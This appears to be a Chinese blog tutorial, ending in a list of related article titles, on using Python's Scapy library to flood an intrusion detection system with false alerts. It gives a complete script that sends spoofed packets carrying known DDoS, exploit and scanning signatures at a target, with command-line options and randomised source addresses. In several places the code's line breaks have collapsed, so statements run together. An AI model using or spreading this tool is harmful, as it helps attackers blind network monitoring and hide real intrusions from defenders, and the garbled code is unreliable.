所谓愚弄入侵检测系统,其原理是使通过制造假的攻击迹象来触发IDS警报,从而让目标系统产生大量警告而难以作出合理的判断,利用Scapy这个第三方Python库,可以很好的实现对入侵检测系统的愚弄。

首先分析触发报警条件假设为TFN探针:ICMP id为678,ICMP type为8,内容含有"lyshark"则触发报警,我们只要构造这个ICMP包并发送到目标主机即可。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *# 触发DDoS警报
def fuck_ddos(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)src = "192.168.1.100"
dst = "192.168.1.200"
iface = "eth0"
count = 1
fuck_ddos(src, dst, iface, count)

再比如,当含有指定字节序列就会触发警报,为了生成含有该指定字节序列的数据包,可以使用符号\x,后面跟上该字节的十六进制值。

# 触发exploits警报
def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8")send(pkt, iface=iface, count=count)

接着伪造并触发踩点扫描警报,只要我们数据包中含有特定的特征码即可触发警报,我们构造一下。

def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)

最后我们整合代码,生成可以触发DDoS、exploits以及踩点扫描警报的数据包。

#coding=utf-8
import optparse
from scapy.all import *
from random import randint# 触发DDoS警报
def ddosTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='lyshark')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)send(pkt, iface=iface, count=count)# 触发exploits警报
def exploitTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00")send(pkt, iface=iface, count=count)pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE")send(pkt, iface=iface, count=count)# 触发踩点扫描警报
def scanTest(src, dst, iface, count):pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')send(pkt)pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')send(pkt, iface=iface, count=count)if __name__ == '__main__':#  -s参数指定发送的源地址,-c参数指定发送的次数。parser = optparse.OptionParser('main.py -i <iface> -s <src> -t <target> -c <count>')parser.add_option('-i', dest='iface', type='string', help='specify network interface')parser.add_option('-s', dest='src', type='string', help='specify source address')parser.add_option('-t', dest='tgt', type='string', help='specify target address')parser.add_option('-c', dest='count', type='int', help='specify packet count')(options, args) = parser.parse_args()if options.iface == None:iface = 'eth0'else:iface = options.ifaceif options.src == None:src = '.'.join([str(randint(1,254)) for x in range(4)])else:src = options.srcif options.tgt == None:exit(0)else:dst = options.tgtif options.count == None:count = 1else:count = options.countddosTest(src, dst, iface, count)exploitTest(src, dst, iface, count)scanTest(src, dst, iface, count)

Python Scapy 愚弄入侵检测系统相关推荐

  1. 基于Snort的入侵检测系统

    基于Snort的入侵检测系统 用Snort,Apache,MySQL,PHP及ACID构建高级IDS 第一章 入侵检测系统及Snort介绍 在当今的企业应用环境中,安全是所有网络面临的大问题.黑客和入 ...

  2. 检查数据报:防火墙和入侵检测系统

    当攻击者知道我们的IP地址范围后,可以很方便地在此范围种发送IP数据报进行寻址.这些数据报能够做各种不正当地事情.例如用ping搜索和端口扫描形成我们的网络图:用恶意分装使易受攻击的主机崩溃:用纷至沓 ...

  3. 网络安全-防火墙与入侵检测系统

    防火墙效率 吞吐量:指防火墙在不丢失数据包的情况下能达到的最大的转发数据报的速率. 时延:能够衡量出防火墙处理数据的快慢. 丢包率:在特定负载下,指应由网络设备传输,但由资源耗尽而丢弃帧的百分比. 背 ...

  4. snort入侵检测系统下载Linux,入侵检测系统Snort 2.9.0.2 发布

    Snort 是一个免费的.跨平台的软件包,用作监视小型 TCP/IP 网的嗅探器.日志记录.侵入探测器.Snort 是全世界上使用最广泛的入侵预防与侦测软件. Snort 有三种工作模式:嗅探器.数据 ...

  5. libnet、libnids、libpcap轻松搭建Linux网络入侵检测系统

    利用三个源码包libnet.libnids.libpcap轻松搭建Linux网络入侵检测系统 如果要搭建基于Linux的网络入侵检测系统,必须要安装libnet.libnids.libpcap这三个源 ...

  6. Linux审计以及主机的入侵检测系统HIDS编写

    背景 想编写一个入侵检测系统,也就是IDS,其中有一个功能是要收集用户的History命令然后收集放到ElasticSearch里面去.对于这个需求我们要设置多用户的使用记录并记录到文件,然后通过 G ...

  7. 什么是入侵检测系统?有哪些分类?

    在现在网络中,攻击无处不在,可以不夸张的说,每一秒都有企业或者个人被网络攻击.有人说了,不是有防火墙嘛? 确实,防火墙是防止有害和可疑流量流入系统的首选解决方案,但是防火墙并不能保证 100% 万无一 ...

  8. 防火墙与入侵检测系统

    防火墙与入侵检测系统的区别(为什么说有了防火墙就不需要入侵检测系统这个说法是错误的?) 1.def: 防火墙:设置在被保护网络与外部网络之间,用来防止发生不可预测的,潜在的破坏行为.它通过检测通过防火 ...

  9. 网络安全实验-入侵检测-基于网络入侵检测系统

     实验目的: 1.掌握snort IDS工作机理 2.应用snort三种方式工作 3.熟练编写snort规则 实验原理: 一.snort IDS概述 snort IDS(入侵检测系统)是一个强大的网络 ...

  10. 网络安全之入侵检测系统

    一 入侵检测定义 入侵:指一系列试图破坏信息资源机密性.完整性和可用性的行为.对信息系统的非授权访问及(或)未经许可在信息系统中进行操作. 入侵检测:是通过从计算机网络系统中的若干关键节点收集信息,并 ...

最新文章

  1. CSS之定位(固定定位)
  2. 三巨头对中国人工智能技术的支撑性作用
  3. mysql报错1172该怎样解决_ORA-01172、ORA-01151错误处理
  4. jquery.ui.draggable中文文档jquery 自由拖拽类~study~
  5. atheros蓝牙设备驱动 小米_小米Air 13笔记本黑苹果WiFi蓝牙硬件改装方案二
  6. ef core 批量update 非id_Entity Framework (EF) Core
  7. 拓端tecdat|虎扑社区论坛数据爬虫分析报告
  8. (转)策略回测的框架、实现、测试
  9. Python爬虫代码示例
  10. XCodeGhost 病毒检查方法
  11. sql替换部分字符串,sql替换字符串中的某个字符方法
  12. 华为od德科面试数据算法真题解析-专栏必看-
  13. SQL Server 2005“错误1706。安装程序找不到需要的文件。请检查……”的处理办法
  14. 客户体验的投资回报率,你知道怎么算吗?
  15. Amazon Alexa通过云控制Bluetooth Mesh设备
  16. [论文解读] Rank Sort Loss for Object Detection and Instance Segmentation
  17. 透视HTTP协议-03|HTTP协议进阶(一)
  18. 前端工程师的摸鱼日常(7)
  19. java同名变量在list中添加两次_去除集合中自定义对象的重复值(对象的成员变量值都相同)...
  20. 配置FT2232波特率

热门文章

  1. 华硕fl5600l笔记本拆机,在光驱位加装固态硬盘
  2. 电脑桌面上文件夹图标右上角有双箭头
  3. RGB/YUV/YIQ 颜色空间
  4. 电源输出端串入IN4007,测量正负电压,压降只有0.3v,为什么不是0.7v左右呢?
  5. 用MATLAB敲qda,LOMO_XQDA
  6. 使用FFmpeg 编解码 FLV的HEVC(H265)格式的视频
  7. 综述(十)北京在安全测试示范区上的政策与成果数据分析
  8. 项目实战(一)HTML5+CSS3+JS完成前端网站的制作
  9. java 登陆qq_纯java的QQ登陆界面
  10. 子线程中使用Handler